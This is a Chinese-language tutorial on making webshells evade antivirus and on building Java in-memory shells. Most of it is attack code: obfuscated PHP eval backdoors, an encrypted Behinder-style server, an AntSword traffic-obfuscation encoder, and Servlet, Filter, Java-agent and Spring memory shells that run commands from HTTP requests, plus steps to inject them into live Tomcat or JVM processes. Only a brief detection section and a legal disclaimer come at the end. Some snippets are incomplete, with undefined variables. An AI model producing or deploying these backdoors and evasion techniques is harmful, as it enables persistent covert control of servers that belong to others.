WebShell 免杀与 Java 内存马技术研究
一、WebShell 基础
1.1 什么是 WebShell
WebShell 是以 Web 文件形式存在的后门程序,通过服务器端的脚本执行能力实现对目标服务器的控制:
php
// 最简单的 PHP WebShell
<?php @eval($_POST['cmd']); ?>WebShell 的核心功能:
| 功能 | 说明 | 示例 |
|---|---|---|
| 命令执行 | 执行系统命令 | whoami、ls、id |
| 文件管理 | 读写上传下载文件 | 文件管理器 |
| 数据库操作 | 连接数据库执行 SQL | MySQL/MSSQL 管理 |
| 内网穿透 | 建立隧道 | SOCKS 代理 |
1.2 WebShell 管理工具
| 工具 | 语言 | 特点 |
|---|---|---|
| 蚁剑 (AntSword) | 开源 | 编码器插件化,支持自定义协议 |
| 冰蝎 (Behinder) | 开源 | 动态密钥协商,AES 加密流量 |
| 哥斯拉 (Godzilla) | 开源 | 多种加密模式,Java/PHP 双端 |
| C刀 (Cknife) | 开源 | 简单轻量,适合快速测试 |
二、免杀技术基础
2.1 静态免杀
编码混淆:
php
<?php
// 原始版本
@eval($_POST['cmd']);
// Base64 编码
@eval(base64_decode('JEdMT0JBTFNbJ2NtZCdd'));
// 字符串拼接
$f = "\145\166\141\154"; // octal 编码的 "eval"
$f($_POST['cmd']);
// 多次解码
$s = base64_decode(str_rot13('Ri0rRi1rRi0rRi1r'));
@eval($s($_POST['cmd']));函数隐藏:
java
// Java 版 - 反射调用
try {
Class<?> runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Object rt = runtime.getMethod("getRuntime").invoke(null);
exec.invoke(rt, "whoami");
} catch (Exception e) {
e.printStackTrace();
}2.2 动态免杀
python
# 特征修改思路
特征 = {
"eval系统函数": "使用 call_user_func_array",
"字符串特征": "动态拼接/编码",
"文件时间": "修改为系统文件时间",
"文件大小": "填充注释到标准大小",
"危险函数": "通过变量间接调用",
}2.3 免杀效果评估
bash
# 使用 VirusTotal 在线检测(注意隐私)
# 使用本地杀毒引擎测试
clamscan webshell.php
# 使用在线沙箱
# https://www.hybrid-analysis.com三、流量免杀
3.1 蚁剑编码器
javascript
// AntSword 自定义编码器示例
'use strict';
module.exports = (pwd, data, ext = null) => {
// 1. 将 payload 进行 base64 编码
let encoded = Buffer.from(data['_']).toString('base64');
// 2. 用 XOR 混淆
let key = 'pFinalClub';
let obfuscated = '';
for (let i = 0; i < encoded.length; i++) {
obfuscated += String.fromCharCode(
encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length)
);
}
// 3. 再套一层 base64
data['payload'] = Buffer.from(obfuscated).toString('base64');
delete data['_'];
// 4. 添加随机噪声参数
data['_t'] = Date.now();
data['_r'] = Math.random().toString(36).substring(7);
return data;
}3.2 冰蝎流量分析
冰蝎使用 AES 加密进行通信,每次连接动态协商密钥:
java
// 冰蝎 PHP 服务端(简化)
<?php
@session_start();
$key = "e45e329feb5d925b"; // 默认密钥(可修改)
// 解密请求
$post = openssl_decrypt(
base64_decode($_POST['data']),
"AES-128-CBC",
$key,
OPENSSL_RAW_DATA,
substr($key, 0, 16)
);
// 执行命令
$result = @eval($post);
// 加密响应
echo base64_encode(
openssl_encrypt(
$result,
"AES-128-CBC",
$key,
OPENSSL_RAW_DATA,
substr($key, 0, 16)
)
);
?>四、Java 内存马技术
4.1 什么是内存马
传统 WebShell 需要写文件,容易被文件监控发现。内存马不在磁盘写文件,只在内存中注册恶意组件:
markdown
传统 WebShell:
写文件 → 文件监控发现 → 查杀
内存马:
内存注册 → 无文件可查 → 重启后消失
(但重启前持续有效)4.2 Servlet 内存马
java
import javax.servlet.*;
import javax.servlet.http.*;
import java.lang.reflect.*;
// 动态注册 Servlet 作为内存马
public class MemoryShellServlet extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 检查特征头
String cmd = req.getHeader("X-Cmd");
if (cmd != null && !cmd.isEmpty()) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
String line;
while ((line = reader.readLine()) != null) {
resp.getWriter().println(line);
}
return;
}
// 非特征请求正常处理
super.service(req, resp);
}
}注册到运行中的 Tomcat:
java
public class Injector {
public static void injectServlet() throws Exception {
// 获取当前 Web 应用的 StandardContext
Thread.currentThread().getContextClassLoader();
WebApplicationContextUtils.getRequiredWebApplicationContext(
getServletContext()
);
// 通过反射获取 Context
Field ctxField = clazz.getDeclaredField("context");
ctxField.setAccessible(true);
Object context = ctxField.get(servletContext);
// 动态添加 Servlet 包装
ServletRegistration.Dynamic dynamic =
servletContext.addServlet("memory-shell", MemoryShellServlet.class);
dynamic.addMapping("/shell/*");
}
}4.3 Filter 内存马
Filter 内存马更隐蔽,因为 Filter 在 Servlet 之前处理请求:
java
public class MemoryFilterShell implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
String cmd = req.getParameter("cmd");
if (cmd != null) {
// 执行命令并通过响应返回
Process proc = Runtime.getRuntime().exec(cmd);
// ... 读取并返回结果
return; // 不继续传递请求
}
// 正常请求放行
chain.doFilter(request, response);
}
}java
// 动态注册 Filter
public void injectFilter(ServletContext servletContext) {
FilterRegistration.Dynamic filter = servletContext.addFilter(
"memory-filter", MemoryFilterShell.class
);
filter.addMappingForUrlPatterns(
EnumSet.of(DispatcherType.REQUEST),
true,
"/*" // 所有请求
);
}4.4 Agent 内存马
通过 Java Instrumentation API 修改已有类的字节码:
java
import java.lang.instrument.*;
public class AgentMemShell implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
// 目标:修改 javax.servlet.http.HttpServlet 的 service 方法
if (!"javax/servlet/http/HttpServlet".equals(className)) {
return null; // 不修改其他类
}
try {
// 使用 ASM 或 Javassist 修改字节码
return transformClass(classfileBuffer);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
private byte[] transformClass(byte[] classBytes) {
// 使用 javassist 修改字节码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass(new java.io.ByteArrayInputStream(classBytes));
// 在 service 方法开头插入 Shell 逻辑
CtMethod method = clazz.getDeclaredMethod("service");
method.insertBefore(
"String cmd = request.getParameter(\"cmd\");" +
"if(cmd != null) {" +
" Process p = Runtime.getRuntime().exec(cmd);" +
" java.io.BufferedReader reader = new java.io.BufferedReader(" +
" new java.io.InputStreamReader(p.getInputStream()));" +
" String line;" +
" while((line = reader.readLine()) != null) {" +
" response.getWriter().println(line);" +
" }" +
" return;" +
"}"
);
return clazz.toBytecode();
}
}Agent 加载方式:
bash
# 通过 attach API 加载到运行中的 JVM
# 不需要重启应用
java -javaagent:agent.jar -jar application.jar
# 或者在运行中通过 Attach API 加载
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("agent.jar", args);
vm.detach();4.5 Spring 框架内存马
java
@Controller
public class SpringMemoryShell {
// 通过 @RequestMapping 注册
@RequestMapping("/shell")
@ResponseBody
public String shell(@RequestParam(required = false) String cmd) throws Exception {
if (cmd == null) return "need cmd";
StringBuilder result = new StringBuilder();
Process proc = Runtime.getRuntime().exec(cmd);
// ...
return result.toString();
}
}
// 动态注册到 Spring 容器
public void injectSpringShell(GenericWebApplicationContext context) {
context.registerBean(
"springMemoryShell",
SpringMemoryShell.class,
() -> new SpringMemoryShell()
);
}五、检测与防御
5.1 内存马检测方法
java
// 列出所有注册的 Servlet
ServletContext servletContext = request.getServletContext();
Field registrationsField = servletContext.getClass()
.getDeclaredField("servletRegistrations");
registrationsField.setAccessible(true);
Map<String, ?> registrations =
(Map<String, ?>) registrationsField.get(servletContext);
System.out.println("已注册 Servlet: " + registrations.keySet());
// 列出所有 Filter
Map<String, FilterRegistration> filters =
servletContext.getFilterRegistrations();
for (String name : filters.keySet()) {
System.out.println("Filter: " + name);
// 检查 name 是否符合预期(不像随机生成的)
}5.2 防御措施
yaml
防御清单:
□ 禁止 Tomcat/WebLogic 等中间件动态注册 Servlet/Filter
□ 使用 SecurityManager 限制反射操作
□ 定期 dump ClassLoader 中的类,对比基线
□ 对请求的 URL 和参数做白名单校验
□ 使用 RASP(Runtime Application Self-Protection)产品
□ 监控 Instrumentation retransform 操作
□ Agent 加载需鉴权六、法律与合规
重要提示:本文所述技术仅供授权的安全测试和研究使用。未经授权使用内存马技术攻击他人系统,可能违反《刑法》第 285/286 条及《网络安全法》第 27 条,后果自负。
合法使用场景:
- ✅ 企业内部授权的渗透测试
- ✅ 红蓝对抗演练
- ✅ CTF 竞赛
- ✅ 安全研究(自有环境)
本文是攻防研究系列的一部分,后续将覆盖 EDR 规避、云原生安全、容器逃逸等高级主题。

